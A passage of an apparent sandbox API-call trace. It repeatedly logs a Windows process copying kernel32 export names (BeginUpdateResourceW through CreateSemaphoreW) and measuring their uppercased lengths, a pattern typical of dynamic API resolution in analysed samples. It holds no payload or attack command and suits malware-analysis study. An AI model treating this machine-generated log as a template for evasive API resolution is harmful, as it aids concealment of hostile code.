(lpString="BEGINUPDATERESOURCEW") returned 20 [0083.502] lstrcpyA (in: lpString1=0x21fea90, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0083.502] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0083.503] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0083.503] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0083.503] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0083.503] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0083.503] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0083.503] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0083.503] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0083.503] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0083.503] lstrlenA (lpString="CANCELIO") returned 8 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0083.503] lstrlenA (lpString="CANCELIOEX") returned 10 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0083.503] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0083.503] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0083.503] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0083.503] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0083.503] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0083.503] lstrcpyA (in: lpString1=0x21fea90, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0083.503] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0083.504] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0083.504] lstrlenA (lpString="CHECKELEVATION") returned 14 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0083.504] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0083.504] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0083.504] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0083.504] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0083.504] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0083.504] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0083.504] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0083.504] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0083.504] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0083.504] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0083.504] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0083.504] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0083.504] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0083.504] lstrcpyA (in: lpString1=0x21fea90, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0083.504] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0083.505] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0083.505] lstrlenA (lpString="CLOSESTATE") returned 10 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0083.505] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0083.505] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0083.505] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0083.505] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0083.505] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0083.505] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0083.505] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0083.505] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0083.505] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0083.505] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0083.505] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0083.505] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0083.505] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0083.505] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0083.505] lstrcpyA (in: lpString1=0x21fea90, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0083.506] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0083.506] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0083.506] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0083.506] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0083.506] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0083.506] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0083.506] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0083.506] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0083.506] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0083.506] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0083.506] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0083.506] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0083.506] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0083.507] lstrlenA (lpString="COPYCONTEXT") returned 11 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0083.507] lstrlenA (lpString="COPYFILE2") returned 9 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0083.507] lstrlenA (lpString="COPYFILEA") returned 9 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0083.507] lstrlenA (lpString="COPYFILEEXA") returned 11 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0083.507] lstrlenA (lpString="COPYFILEEXW") returned 11 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0083.507] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0083.507] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0083.507] lstrlenA (lpString="COPYFILEW") returned 9 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0083.507] lstrlenA (lpString="COPYLZFILE") returned 10 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0083.507] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0083.507] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0083.508] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0083.508] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0083.508] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0083.508] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0083.508] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0083.508] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0083.508] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0083.508] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0083.508] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0083.508] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0083.508] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0083.508] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0083.508] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0083.509] lstrlenA (lpString="CREATEEVENTA") returned 12 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0083.509] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0083.509] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0083.509] lstrlenA (lpString="CREATEEVENTW") returned 12 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0083.509] lstrlenA (lpString="CREATEFIBER") returned 11 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0083.509] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0083.509] lstrlenA (lpString="CREATEFILE2") returned 11 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0083.509] lstrlenA (lpString="CREATEFILEA") returned 11 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0083.509] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0083.509] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0083.509] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0083.509] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0083.509] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0083.509] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0083.509] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0083.509] lstrlenA (lpString="CREATEFILEW") returned 11 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0083.509] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0083.509] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0083.510] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0083.510] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0083.510] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0083.510] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0083.510] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0083.510] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0083.510] lstrlenA (lpString="CREATEJOBSET") returned 12 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0083.510] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0083.510] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0083.510] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0083.510] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0083.510] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0083.510] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0083.510] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0083.510] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0083.510] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0083.510] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0083.510] lstrlenA (lpString="CREATEPIPE") returned 10 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0083.511] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0083.511] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0083.511] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0083.511] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0083.511] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0083.511] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0083.511] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0083.511] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0083.511] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0083.511] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0083.511] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0083.511] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0083.511] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0083.511] 